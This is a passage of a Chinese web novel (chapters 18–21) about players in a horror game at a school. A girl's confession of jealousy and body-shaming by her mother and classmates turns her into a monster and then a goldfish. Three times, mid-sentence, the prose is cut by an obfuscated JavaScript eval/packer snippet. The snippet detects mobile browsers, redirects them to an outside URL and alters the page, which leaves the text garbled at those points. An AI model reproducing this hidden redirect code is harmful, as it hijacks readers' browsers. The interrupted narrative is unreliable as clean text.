“因为这么说会显得像是在嘲笑你的样子，就算知道你是因为生了病才这么白，但我还是在嫉妒你那么白，嫉妒黑眼圈在你这样漂亮的脸上显得就是憔悴易碎让人心疼，在我脸上就是丑陋。嫉妒你那么高那么瘦，就算知道你是因为身体不好，就算知道如果能交换的话你肯定宁愿选择我这样健康的身体，而不是要一直吃药的身体……” 步绾敲门的声音顿住，她不知道该说些什么。 “嫉妒你和贺清璟那么亲近，我知道你不喜欢他，我知道你对他也没有那种想法，这种感觉就好像小说里的主角说她对男主角不心动那样，npc的想法不重要，npc付出了很大的努力也只能以线稿的方式出现在背景里。我也不喜欢贺清璟，他太优秀了。” 影子好像在变大，它没有吞噬掉昏暗的灯光，只是与之融为了一体，一点一点地溢了出来。 “我真的很讨厌贺清璟，他凭什么那么优秀？他家里很有钱，他长得很帅，他成绩优秀，他是校草，是年级第一。他住在学校对面的小区里，是因为那个房子离学校近，不是他只有这一个住所，我不是，我家虽然没在农村，但离我们学校也好远好远。” “我们学校真的很好，它要求每一天大家都在学校里，像贺清璟这样的有钱人没空去上更多的补习班了，虽然他们的起跑线还是离我那么远，但是他们被拖后腿了，我好开心。” 步绾喃喃地喊了一声“橙子”。 周陈澄的思绪似乎很乱，当然，这个形态好像要求她还能保有思维能力有点太难了。她的影子已经满涨开来，铺天盖地的，唯独小心翼翼地避开了步绾，好像怕吓到她一样。 “你知道贺清璟今天穿的衣服有多贵吗？一万三千，我问了代理商，她那边卖的仿品也要三百八十八。三百八十八，哇，一件衣服三百八十八，我想都不敢想。” 步绾回忆了一下，发现自己根本不记得贺清璟今天穿了个什么衣服。石云蔚悄然无声地走了进来，就在门边上，朝她比了个手势示意她们继续，自己只是在影子的边缘呆着。 步绾犹豫着问道：“可是，那为什么……” “为什么嫉妒你和贺清璟的亲近？我不知道，嫉妒从来都是没道理的，我嫉妒好多人，尤其是你们对我这么好的时候，我更嫉妒了，我嫉妒你们的善良。我感觉我就像一只流浪猫，冬天的流浪猫，隔着玻璃门看到了被好好照顾着的、被好好爱着的品种猫。” “我真的很喜欢你们，你们都很好，鼓励我的你很好，给我带紫药水的王鸳杏很好，帮我打听顾嗣显消息的李莎白很好，大家都很好，来帮我洗头的你的学姐也很好，可是大家为什么都那么好，显得我好丑。” “你也很好啊！”步绾大声打断她几乎如同自语一般的喃喃， “你为什么能那么容易看到别人的珍贵，却没看到你自己的珍贵呢？你如果不好的话，我们不会和你做朋友的啊？我们又不是傻子！” 这么说着，她忽然感觉到审视的视线，那种不带任何情感的如同机器一般精准的审视让她毛骨悚然，她甚至不敢四处环望，这种窥伺感让她汗毛直立浑身哆嗦。好在有石云蔚在，步绾思绪在这种时候居然还能不着边际地飘了飘，觉得自己完全理解了吊桥效应。 “我不珍贵，我叫周陈澄，因为我爸姓周，我妈姓陈，本来第三个字是前程的程，因为我奶奶姓这个，他们说要有个人和奶奶姓，但我奶奶好，奶奶说女孩子名字有三个姓不好听，她说要叫橙子，橙子好吃，我妈说登记的人写错了名字，所以我变成了澄澈的澄。你看，我连名字都会被写错。” “顾嗣显一定很受家里人喜欢，显耀家族的子嗣。我喜欢他的名字，我也喜欢他，他长得很帅，他也很优秀，但他好像平凡一点，他没有贺清璟那么太优秀了。他也没有嘲笑过我。我和顾嗣显是一个初中的，初二的我更胖，我八百米跑很烂很烂很烂，那天大家都嘲笑我，但是和我们一起上体育课的，初三六班的顾嗣显，他正好买了一瓶水，他把那瓶水给了我，哪怕他之后被嘲笑说，是喜欢初二胖妹的顾嗣显，他也没说别的。” 步绾一愣，这是她们都不知道的事情。 “其实同学们对我也挺好的，他们只是叫我胖子。她们会给姨妈弄在身上的我小面包，会给我外套罩着脏了的裤子，八百米最后测试的时候会拉我一把，哪怕是笑我最厉害的男生，看到我一个人扛水的时候也会把水从我手里抢走扛回教室……” 小面包是什么？步绾又是一愣，结合上文才想起来，有些害羞的中学女生会把卫生巾叫小面包。 “我其实本来没有觉得我胖的，我奶奶说，小姑娘要壮实一些，太瘦了什么也扛不动，但是大家都说我胖，说我大象腿，说我大土豆，我妈还说你怎么这年纪就穿38码的鞋，回头哪个男人要你。小时候我妈说这孩子不挑食好养活啥都吃，长大了说这孩子跟八百年没吃过饱饭似的。她说我虎背熊腰，好不容易瘦下来了，她又问我，心里都在想减肥，到底有没有想好好学习？我又胖了点，她又说，你吃了什么好吃的，小肚子怎么有点大啊。” 周陈澄碎碎念着，似乎并没有在意室内有两个听众在。她只是觉得委屈，她只是想说出来，有没有人听都可以，最好是有人听，最好是听了不会说你这算什么、你怎么这么脆弱的人。 “她说我脸大，说我黑，我说想买东西擦脸，她问我为什么不好好学习。她偷拍我，然后拿我的丑照给我看，说我笑的时候龇个大牙太好笑了，我收敛了，她说我小小年纪怎么就会装。我压力大了，爆痘，她说你该吃点清淡的，你该涂点什么，却又不给我买，也不肯我买。” “然后她还要和我说，你看看人家贺清璟，你看看人家谁谁谁。” “可是为什么，为什么他们只需要关注能不能考上好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14652722|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学，我却得被说我毛孔粗大，说我长痘痘，说我驼背，说我肚子大，说我腿不够细？” “为什么啊？凭什么啊？” 到最后变成了尖锐的悲鸣，细针一般戳破了膨胀的影子。 石云蔚不知何时大步走了进来，一把拉开了被锁着的木门，步绾看到了塞满了狭窄隔间里的……生物。 生物以一种怪异的姿势堆在隔间里，因为门打开了而往外溢出。 是一滩半人半鱼的生物。臃肿的鱼尾最先流了出来，那分明是由大脑皮质组成，不，是沟壑还是皮质？好像又是眼睛。 该是眼睛的地方仍然是眼睛，嘴巴也变成了眼睛，鼻子也变成了眼睛，闪烁着荧光的眼睛，尾巴上也全部都是眼睛，密密麻麻的眼睛在注视着她。没有一点恶意的注视，只是纯粹在看，却看得人毛骨悚然。 一半的躯壳被敲碎了，露出了带着腐臭腥味的脓液，另一半的躯壳依旧维持着人形，半边脸艰难地朝步绾露出了微笑。 她好像没有看到挡在步绾身前的石云蔚。 那半张脸也不能说完好，甚至不能说好。 用的美白产品似乎还是毁了脸，惨白的皮肤上是一颗一颗的水泡，水泡里到底是有什么细小的生物在游动还是只是水在轻轻晃动，步绾看不分明，也不敢去看。头发散发着诡异的紫光，那种像是变异的光使得这个并不大的卫生间更加充斥着一种鬼片氛围。 这摊碎肉发出了似哭非笑的细碎又微弱的声音：“对不起啊，吓到你了吧？但是我实在，壳子撑不下去了。” 她的意思是，她内底已经被腐化太久了。 什么时候开始的呢？ “我不知道。” 她居然回答了自己的问题，步绾想，哦，原来她把问题问了出来。 “我不喜欢听刀子嘴豆腐心这个说法，”她的声音有些模糊，有些低沉，又有点莫名其妙的好听，像是从注水的吉他里面传了出来，“我第一次学到这个词的时候就想到了我妈，想到了叫我胖子的同学们。我妈对我真的挺好的，同学们对我也挺好的，我妈也只是说说，同学们也都只是说说。问题在我，她们说过就忘了，但是我忘不掉。所以，可能从一开始，也可能是初二，我不知道。” “我瘦下来之后好像世界给了我一点偏爱，我遇到了更好的你们……” “不是！这和胖瘦没有关系！”步绾忍不住出声打断，她感觉自己进了这个副本之后一直在做嘴遁，但她实在听不下来这些话，她在对周陈澄喊，又好像在对别人喊。 “因为高中的大家都有点成长了，他们都大概知道什么话说出来会伤人了！我初中的时候还以会说脏字为荣呢！因为我那个时候觉得当不良特别酷！过了那个猫嫌狗不理的年纪就好了！你是受害者！你不要为他们……” “我知道。” 周陈澄轻轻柔柔地打断了她。 “我知道的，栀子。” “青春期本来就是一群不成熟的人的碰撞，尖锐的石头互相摩擦本来就会伤害到大家。我知道的，我没有为他们开脱，我也没觉得他们有任何问题，大家都是这么长大的，你看，你到现在都不知道我初中是个胖子，这个高中明明也有那么多和我初中同校的，却不会有人主动说，看，这是初二那个胖妹。” “我知道的，往前走是出口，大家说的光明未来就在前面，往后走也是出口，无聊的青春期隐痛罢了。往前往后都是出口，为什么偏偏我被夹在中间，动弹不了？” 19. 第 19 章 19 大家都说，青春期本就是摔碎成长的过程。 说得好轻飘飘，说得好无所谓，于是就忘记对于人来说，碎其实也就意味着粉身碎骨。 步绾仍然是抱着书包蹲在那里，她的腿已经感觉有些麻了，那种麻感顺着四肢一点点缓慢上移，像是无形的雷电侵扰着禁锢着她，让她想逃，却又动弹不得。 她不知道，她真的不知道。 不知道自己现在是什么心情，不知道自己现在该有什么表现，她甚至都不知道自己该说些什么来安慰她。 如果这是简单的战斗轮游戏就好了，她可以龟缩在她勇敢的队友身后，让她无敌的指引人队友去打斗。 但是现在在她面前的，以不成人形姿态出现的是她的好友，是几个小时前还和她笑笑闹闹的，期盼看到自己更美样子的，普通人。 “那就打破吧。” 出乎意料的是，开口的是石云蔚。 她也蹲了下来，看着面前的周陈澄，语气和缓：“抱歉，可能这么说会显得我有点事不关己高高挂起，但是我确实没有在意过这样的事情，我也经历过，但我从来没在乎过。你想不想知道我是怎么做的？” 步绾看向她。 “我小时候没有被管束过，是野着长大的，什么小背心胸衣的，我到初中才知道要穿这玩意儿。什么女孩子脚不能太大，女孩子坐姿要文雅，后来我妈一直念叨我，被我骂回去了，瞧我的脚，40码的，”石云蔚笑眯眯地指了指自己的运动鞋，“当然，我说这些不是要责怪你，该责怪的从来不是你。我只是想和你分享一下我的经历。” “我是我奶奶带大的，我奶奶是远近闻名的‘泼妇’。3.99反向抹零收了她4块，我奶奶能一叉腰嘴皮子一抹从日出骂到日落。我奶奶和你奶奶一样，也希望我壮壮的。我上幼儿园的时候，看隔壁小孩穿了个粉红色公主裙，我可羡慕了，奶奶带我去童装店买，我连最大码都拉不上拉链，店员以为我听不懂不记事，和我奶奶说让我减点肥，太壮了以后不好找对象，我奶奶翻了个白眼说这都嫌壮，那内男的也太虚了吧，到时候家里着了火还得让我孙女跑回去救人！然后我奶语重心长地和我说，多锻炼，再养壮实点，回头着火了跑第一个。” “但是你也不胖啊……”周陈澄小小声道，她知道石云蔚，全校数一数二漂亮且有钱的英语老师，她高挑且苗条，穿衣时尚且精致，女孩子们喜欢她的香水，喜欢她的发型，喜欢她走路时摇荡的裙摆。 “我一身肌肉呢，亲爱的，只是长袖长裤你看不出来。不过最开始啊，我是初中瘦下来的，没办法，我们食堂太难吃了，饭都夹生，我又野，活动量巨大，窜得贼快，只能硬着头皮吃，夹生饭实在吃不下，我一顿就打四个鸡腿，我初三就窜到了175。”想到难吃的饭，石云蔚嫌恶地皱紧了眉，“高中我就出国了，白人饭好家伙更难吃了，这辈子没吃过那么难吃的东西，我只能自己做饭——听起来能出国，家里条件很不错是吧？” 步绾已经完全被她的故事吸引，也不管石云蔚看不看得见，就频频点头。 “我爸妈很有钱，和我没啥关系，不然我也不会被丢给我奶养。我爷爷死得早，我奶在我初中就去世了，我爸我妈离婚了都不想要我，但又都得养我，最后我爸打钱，我妈把我接到了国外，我爸给的钱倒是照常给了我，她出的钱，和我签了协议，我成年后还她。华人出国经典三件套嘛，洗碗摘果送外卖，加上奖学金，我过得还行。后来我妈第二次离了婚想过来认我，她这时候发现亲情的美妙了，被我骂回去了。” “当然，狼狈肯定也狼狈，各种杂七杂八的事也遇到了，我睡过大街，睡过便利店，被抢劫过，乱七八糟的事。和你分享这些倒也不是说想要告诉你说什么有人过得比你更惨，你要学会知足，你要学会爱自己之类的屁话，跟你说这些心灵鸡汤的人离他远点，他指望着出书骗你钱呢。” 石云蔚狡黠地笑，不像是个老师，像一只小狐狸变成的和她们同龄的学生：“你知道我是怎么过来的吗？” 周陈澄应道：“想。” “因为我觉得我是主角。”石云蔚眨了眨眼，以一种分享小秘密的姿态，“老娘天下第一，谁在乎别人怎么看啊？大家都学过那句，天将降大任于斯人也必先苦其心志劳其筋骨饿其体肤，对吧？大家背这句话的时候总是将天当作那个主体的，可事实是，咱才是那个主体啊。” 听众都一愣。 “你想，蛋糕旁边有苍蝇在打转，你会怪这个蛋糕太鲜美太诱人了吗？那你旁边有傻叼打转，你干嘛觉得是自己的问题？我们主角本来就是这样生来不凡的，不多来点没用的弱智，谁来衬托我们的厉害啊？生活一帆风顺的平庸家伙才是npc呢，我们都已经足够出色了，对吧？” “……那么，对你而言，我也是npc吗？”周陈澄忽然道，“为什么要安慰npc呢？因为你觉得戳一戳我就会和你有互动吗？” 石云蔚单手托腮，语气随意：“谁知道呢，可能因为你是女的，girls help girls，虽然大家嗤之以鼻，但我努力照做。” 周陈澄又不说话了。 步绾隐隐约约意识到她刚刚的话确实意有所指，但是石云蔚给出了一个巧妙的回答。 周陈澄倏忽地变了。 像是爱美的小姑娘不想给她们看重组的过程，好像只是一眨眼的功夫，一只漂亮的金鱼漂浮在了半空中，嘴巴一张一合，吐出一个大大的泡泡，又吐出一个。 两个大泡泡漂浮到了她们面前，亲昵地蹭了蹭她们的发丝。 【获得C级道具：一个大泡泡 无休无止的碎碎念好像鱼吐出的泡泡，金鱼会互相残杀，人类也会互相伤害，但是金鱼不想伤害人类。 “害怕的时候请呼唤我的名字吧，我会成为你的护盾，成为你的力量。” 使用次数：一次】 泡泡消失了。 金鱼晃悠着尾巴，一点一点往外飘：“我的提示就到这里啦，不能再说了，我相信你们和其他人不一样的。” 步绾被石云蔚扶着站起来，踢踢踏踏地活动着发麻的脚，听到这话之后下意识抬头看向金鱼。 虽然有了幸羽妍的例子在前面，她大概也猜到了一些，但是听周陈澄这么说的时候，她还是觉得有些微妙。 金鱼一个飘逸的摆尾，绕着石云蔚转了一圈，声音清脆：“谢谢你的开导，要是早一点有人教我这些就好了，不过，感觉要是我能更早一点悟出来会更好？” 她又绕着步绾转了一圈：“谢谢你成为栀子，谢谢你愿意出来找我。” “……也要谢谢你给我染的头发，谢谢你的伙伴给我带的晚饭……虽然他不是顾嗣显，但我爱屋及乌，也谢谢他给我的水吧。” 她的身影与声音一起消散在了空中，再也不见了。 【临时获得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14652723|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' C级道具：一个大泡泡「需转赠」 转赠对象：黎微月】 【临时获得C级道具：一个大泡泡「需转赠」 转赠对象：顾嗣显】 【获得A级道具：一条不止有七天记忆的金鱼 都说金鱼只有七秒的记忆，要是我也只有七秒的记忆就好啦。都说痛苦会让人成长，可没有人问过我想不想成长。但为了你，我觉得再多的痛苦我都可以忍受。】 “这个副本里的npc有点太过善良了，不过说实话，这个年纪的女孩子们确实就是最好的。”石云蔚大概判断出她已经回过神来才开口，“还行吗？这个本好像是精神冲击为主。” “还行……”步绾慢吞吞道，“感觉受到的冲击太多，我现在就是一个傻子，所以反而没什么感觉了。” 当个傻子挺好的。 她有点想问石云蔚刚刚是不是说的自己的真实经历，但又觉得自己只能算是一个陌生人，就算再是队友是同伴，也不过认识没几天，所以又闭上了嘴。 石云蔚看着她欲言又止最后鼓着腮帮子，像是一根被水果堵住的吸管，似乎觉得有点好笑：“我没骗她，我确实这样长大的，我妈一开始给我取了个特女性化的名字，就好比说，嗯，好比说这个名字改成芸薇，草字头的芸，紫薇花的薇，我奶不同意，后来才变成了我现在的名字，和石云蔚这个名字差不多，我也挺喜欢石云蔚这个名字的。” 蔚蓝的天上飘着的云，听起来就很自由。 “苦我也确实没少吃，我爸打钱不是因为他爱我，是他要做出不被允许看女儿的慈父的假样子去骗心软的富婆，我妈不想养我的主要原因也是我影响她钓马子。不过我也确实从来没难受过为什么他俩都不爱我，可能因为我很小的时候就看动画片看电影，那些少年漫的主角全都父母双亡，超级英雄加起来也凑不到一个好妈好爹，我就知道了，他们就是这个世界给我这个主角配备的即将要早亡的父母。” 步绾听到这个论调不免大受震撼，但仔细想想又觉得好像有点道理，又说不清是哪里有道理。 “我以前一直被说我像男孩，心野心大，我就想不明白了，什么男孩不男孩的，男孩该是什么样，女孩该是什么样，我是什么样关他们屁事。但后来我就知道了，什么像不像男孩，我就是纯粹没有被社会规训过，我就是自由的模样。”石云蔚伸了个懒腰活动了下筋骨，随意到好像不是在分享什么人生心得。 “有的时候我觉得这个游戏反倒比现实的世界来得有意思，它给了那么多规则，却不将玩家限在条条框框里面，你是什么样子就是什么样子，所以我还挺乐意当指引人的，尤其是小姑娘的，我能拉一把就拉一把，不能拉就拉倒。” “……我知道了。” 石云蔚难得有些发愣，没想明白自己这番话怎么这么快就让人“顿悟”。 ——她先前愿意说这么多话，其实不光是说给那个隔间里的npc听的，更多是说给顾南栀和“顾南栀”听的。她认同明诀的判断，扮演顾南栀的这个玩家在现实生活中经历过类似的事情，所以她最能共情，她最能融入，不然她没法如此自然地“触发”这一件又一件事情。 所以石云蔚才会说那么多话，一是为了找到真正的顾南栀，二是，就像她说的那样，“能拉一把就拉一把”。 顾南栀猛地抬眼看向石云蔚，眼睛亮亮的。 “我知道了——这里是鱼缸！” 20. 第 20 章 20 鱼缸？ 鱼缸！ 就好像障目的叶子被拿开，石云蔚一下子顿悟。 “心理医学室里有没有鱼缸？” …… 心理医学室内没有鱼缸。 大概是为了让每个拜访的学生不会产生自己来到老师办公室的感觉，这里的布置还算温馨。即便是教师办公室的常见配置，但是都恰到好处地有一些“小巧思”——挽着灰色窗帘的布带尾端坠着猫猫球，椅子上的坐垫是Q版萌物，笔筒里的笔也花里胡哨，不太像是资深年长的老师会使用的笔。 步绾站在窗口看那个古色古香的楼，遗憾地发现那楼怎么看都不像是个鱼缸的形状。 哪里有遗漏，她不知道。 鱼的意象在这个副本里出现得太频繁了，北冥有鱼那个是不是倒先暂且不提，徐老师桌上的鱼缸、幸羽妍透露出来的讯息、周陈澄变成的生物，还有最后送出来的道具…… 不知道，搞不明白。 步绾一屁股坐在柔软坐垫上，撑着下巴发呆，想开摆。她觉得她特别适合跟在人身后浑水摸鱼，之前她觉得最好是贺清璟在前面披荆斩棘她在后面跟着捡漏，现在她觉得最好是石云蔚在前面乘风破浪她在后面扇扇子递毛巾。 头脑是一片浆糊，发生的这么多杂七杂八玩意儿她根本串联不起来。 “你后来有想过，为什么你成为顾南栀吗？”石云蔚突然问道。 想过，因为我是GM。 但这个结论不能说。 “想过，我甚至在想我是不是也是个什么恐怖游戏小说里的主角，”步绾继续盯着窗口，放空视线，她不能在这个时候和石云蔚对上视线，怕她看出自己表情里是否有不自然，虽然她一句假话也没有。“我也没想明白我怎么就进了这个游戏……我是下班路上被卷进来的，贺清璟说进游戏的人都有很强的执念，我觉得我的执念只有把领导砍了。” 然后自裁。 她们加班最疯狂的那阵子，和同事之间说得最多的一句话就是：我把你杀了，你上去了我进去了，我们都有光明的未来。 石云蔚：“……高中也是这么过来的，上班也是这么熬过来的？” 步绾没说话了。 石云蔚这话说得她确实有点不知道怎么回答。 好半天，她才回答道：“绝大部分普通人，不都是这么熬过来的？” 定死的框架，出生无法选择，当地最好的小学，最好的中学，竭尽全力能考到的最好的大学，竭尽全力能申到的最好的大学的研究生…… 然后一下子，你在学校里的优秀就不算数了，工作，结婚，生子，没有完成任意一个工程你就是最为失败的人。 浑浑噩噩随波逐流地生活着，行走着，然后逼迫着自己的孩子走上同样的路。 大部分人不都是这样熬过来的吗？ 井底之蛙看着那一小片狭窄的天空，感慨着这就是全部的世界啊。 可是青蛙还能跳出井底，鱼不能跳离水里。 鱼跳出鱼缸会死。 步绾自嘲笑了一下：“所以总不至于，我能成为顾南栀的原因是只有我一个人这么浑浑噩噩没有目标的？” “也不一定，”石云蔚随口道，“男的大部分粗心，没女的感情细腻，当然，也有很大一部分原因是他们根本没有面对过需要他们细腻、瞻前顾后的场合。” 步绾有些新奇地扭头看石云蔚，她还以为只能在网上看到这样的言论，毕竟现实中她身边的人都很欣赏这样的“真性情”。 但她没说什么，石云蔚也不需要她的回答或者评价。 她只是问道：“你觉得我们该怎么跳出鱼缸？” “比起跳出框架，为什么不打破框架呢，亲爱的。”石云蔚问道，她的眼睛很透彻，又很黑，像黑曜石，步绾很少看到这么黑的眼睛，大部分人的眼睛都是深棕色的，好听点叫琥珀色，她以前可喜欢写“琥珀色的眼睛”了。 打破框架？ 把学校炸了？ 步绾有点茫然。 “你在这里没有新的发现了吧？”石云蔚最后确认了一下，“走吧，我们去那栋楼再看看。” “有点奇妙的感觉，我也不知道，”步绾挠了挠侧脸，“很玄乎的感觉，有点像风湿。” 石云蔚被这个莫名其妙的比喻给逗笑了：“走吧，去那栋楼看看是不是风雨将至了。” * 步绾第一次走进那栋楼。 石云蔚用了个什么道具，给她简单介绍了一下，这是最基础的隐匿道具，非队友的玩家看不到，npc感知不到，摄像头拍不到，当然，对等级高的npc或者boss是没用的，只是在这个普通的D级副本，倒也用不上什么更高级的。 她顺带补充了一下，说npc赠送的道具，不到紧要关头别用，商城里没得卖。 得亏这破游戏里没有人是什么集齐全图鉴的收藏家强迫症……也不能有吧？不至于有人会在这游戏里收集图鉴吧？！ “这栋楼真的很突兀，但因为太突兀了，又感觉像故布疑阵。”石云蔚嘀咕。 步绾有点怵这种“古风”的恐怖，老实地缩在石云蔚身边，神神叨叨地感觉旁边全是生物在注视着她，小小声提问，顺带给自己壮胆：“这种没主线的副本很不常见吗？” “常见这个词得用在我们都遇到过百八十个副本的基础上吧？”石云蔚顺手又塞给她一根棒棒糖，这是今天看早自习的时候班长给她的，这个副本里食物是无毒的，所以她也放心地给了顾南栀，紧张的时候含个糖会缓解情绪。 她听着顾南栀悉悉梭梭地剥糖纸，语气平缓到像是在给孩子讲故事：“第一个副本出去后我就把网上相关的小说都看了遍，总结了出现过的所有类型，其实真要说的话也就分成两类，精神攻击和□□攻击的，哦，或者加上第三种，精神□□一起。要么中式的，阿姐鼓，野坟，筒子楼，鬼新娘，要么西式的，追逐战，克系……说得头头是道的，但是到了副本里还是会发蒙，不知道会遇到什么样的npc，也不知道队友会怎么操作，所以指引人的本可遇不可求，新手玩家再坏也没坏到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14652724|156623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种程度。” 听起来像是有故事的人。 步绾含住了糖，可乐味的。 “这种没主线的副本，其实还有一种说法，”石云蔚仰头看着与整栋建筑并不相配的梁坊，声音不大，像是怕惊到了谁似的，“就是它其实是有主线的，只是这个主线，会出现在它升格成的A级，甚至S级副本中。” 步绾想起了明诀之前的解释，若有所悟。 “所以这种看起来突兀的楼，在这个副本没找到关键的话，也有可能是在它升格的那个本中？历史老师老强调这学校成立时间，该不会升格的本回到了那个时候吧……” “很有可能啊，”石云蔚一边闲聊着，一边也在仔细观察着内部构造，试图再寻找一些先前没能发现的小细节小线索，“如果是这样的话估计最起码得是S级吧。” 然后嘱咐了一遍步绾，让她到时候不要急着解锁这个副本，起码下个十次八次的A级再进去，当然，最好的结果是就不要进去了，A级副本次数多了也就够积分和游戏说拜拜了。 “真能离开这游戏啊？”步绾有些不敢相信，“这得多少积分啊？” 石云蔚回忆了下：“目前还没人离开呢，等你经历了两个本之后就脱离了新手期，系统会给你显示一个积分榜，你就能在上面看到大家的积分。可以选择匿不匿名，前十好像都没匿名，我记不太清了，第一名还差了点积分，不过那家伙估计也不想离开游戏吧。” “第一名？是那个景梵吗？” 石云蔚看了她一眼，不知道在想什么，但是那种仿佛洞悉的眼神让步绾有些怀疑自己是不是透露了什么，但推敲了一下又觉得没什么问题。 石云蔚的眼神仿佛只是她的错觉，好像只是觉得说话的时候看人会显得礼貌那样地看着她，然后说：“不是，他进副本的时间还没很长，不过应该很快就会窜上去了。第一名不知道性别，叫羊习习。” 步绾：？ 她犹豫了两秒，还是没问出那个她不知道算不算得上礼貌的问题，石云蔚似乎也不意外她的反应，点了点头：“对，就是翔那个羊习习。” 倒不是说对这个名字有任何意见，也许人本名叫飞翔的翔，将排泄物称为翔这种事说不定也只存在于她这个世界。只是在这种恐怖游戏，在这种积分榜，感觉第一名是这种abb式的名字……多少有点奇奇怪怪的。 常理来说，按照某些小说电影的套路，这种排行榜的第一名应该叫什么X，Joker，或者什么一剑霜寒这种。 假如说什么第一名是个什么邪魅冷少冷酷夜王感觉都比羊习习来得好。 呃，不对，好像会更糟。 “你说那个叫羊习习的还不想离开游戏？意思是那家伙是个喜欢这种的疯子吗？” “不太清楚，我也是听会长说的，好像是羊习习在的世界是个克系的，进这游戏感觉跟进安全屋似的，一点都不想回家。” 步绾陷入难言的沉默。 这就是大佬的世界吗？拿这种游戏当安全屋？大佬恐怖如斯，克系世界恐怖如斯。 21.第 21 章 21 两人将这栋奇怪的楼逛了个遍，什么都没触发，什么也都没发现，看了眼时间快要下晚自习，只能先行离开。 不太幸运的是，她们在楼下遇到了顾南栀的母亲。 顾南栀妈妈看了眼手机时间，语气不太好：“这还没到下课时间吧？” 步绾下意识拽紧了书包带子，嘴唇翕动几下，不知道怎么就说不出肚子痛提前回家的借口，反倒是石云蔚在一旁坦然地开口：“是顾南栀妈妈吧？你家姑娘今天上吐下泻的，老徐让她早点回来休息，还非要在学校里做完数学卷子才肯走。你多看着点孩子，学习重要，身体更要紧。” “上吐下泻？怎么啦？吃坏肚子啦？”顾南栀妈妈眉心微皱，上下扫视了女儿一眼，顺手接过了她的书包，责怪的话同时出了口，“叫你不要乱吃路边摊，都快高三的人了，还不懂得照顾自己。” 石云蔚一噎，想，不意外。 “您是哪门课的老师啊？唉真不好意思，工作太忙了，也不是对南栀的学习很上心，还不知道您教什么呢。” “哦，我教高三的英语，主要是看小姑娘一个人惨白着脸，走路感觉要摔倒的样子，不太放心。”石云蔚笑了笑，将被风吹拂的发丝轻轻挽至耳后，似乎很随意地唠着家常，“那孩子平时谁在带啊？” “嗐，南栀算比较省心的，都没管过，我们也没怎么操过心，她回家后也不学习，洗洗就睡了，但成绩还行，我们嘛，也不要求孩子成绩那么拔尖，最后能考个不错的一本就行了。” 步绾站在那里盯着鞋尖发呆，两人的客套话从左耳进右耳幽幽地飘出去，不知道怎么就聊到了顾南栀糟糕的身体情况，她不只是精神不大好，□□也算得上孱弱。不过这也不意外，一个人一直处于神经衰弱睡不好的状态，能健康才怪呢。 ……话说，你们还记不记得这边有个上吐下泻请假回来休息的病患啊？这怎么还在聊啊？ 终止她们聊天的是放学回来的贺清璟，明诀在他后面隔了段距离，远远地就看到了她们站在那里，于是停下了脚步也没接近。 贺清璟毕竟是回家的必经之路，只能走过去，打了声招呼：“石老师，阿姨，晚上好。” 于是石云蔚适时地结束寒暄，客套地表示你们早点回家好好休息啊，还不忘强调了一句身体最重要。 顾南栀的妈妈领着她和贺清璟两个人往楼上走去，长辈走在前面，小辈走在后面。 长辈随口关心着贺清璟，她的态度友善温和，好像对方才是她视为珍宝的女儿。 一味聊学习显得像不近人情的长辈，顾南栀妈妈半开玩笑地问贺清璟有没有找对象。 这个场景倒也不意外，家长们看到长得好看的小年轻都会打趣，尤其是这种又好看、成绩又好的。他们在家里不允许自己的孩子早恋，听到一点风吹草动都杯弓蛇影地大跳起来，质问怎么心思没全部放在学习上；但是对外人的孩子就很慷慨，比起八卦更多是调侃，觉得他们好像可以双线操作。 反正都是居高临下的。 贺清璟回答：“还太早了，阿姨，现在学业压力有点大，” “你压力还大呢？”顾南栀妈妈笑了一声，“都第一啦，还这么抓紧，南栀你学学人家。” “第一名压力当然大，不能被扯下宝座。”步绾反嘴道，她对于家长的这种看看别人家孩子应付熟能生巧，如果不是npc，是她家人在这儿，她保证怼回去：人家家里那么有钱，你怎么不学学人家？ 比成绩嘛，坏的不比比好的，比家境嘛，好的不比比坏的。 但她们也没资格说这些，毕竟她们是被供养的，拿起饭碗干饭放下饭碗骂娘，何况她骂的还是真的娘。 想到这儿，她没忍住再看了眼贺清璟。 贺清璟穿着一件不知道是羊毛还是羊绒的开衫，大面积的深灰色缝着瓦灰色的边，这个色系在今年很流行，到处都是仿这个牌子风格的衣服，不过显然的是，有钱人穿的是正版。 男生穿这个牌子的衣服还挺少见，更别提高中男生。 他这一件衣服不知道是不是就能顶顾南栀妈妈三个月工资，可能更多，她也不知道，她没有厉害到能够一眼能看出衣服的价格。 事实上小城镇出来的她对大牌没有任何了解，只是后来念大学的时候认识了个很有钱的朋友，朋友上能穿高定下能穿痛T，最常规的打扮就是爱豆同款的六位数外套里面塞着和她同款的某卡哇的痛T。 大小姐从来都能向下包容她这种屁民。 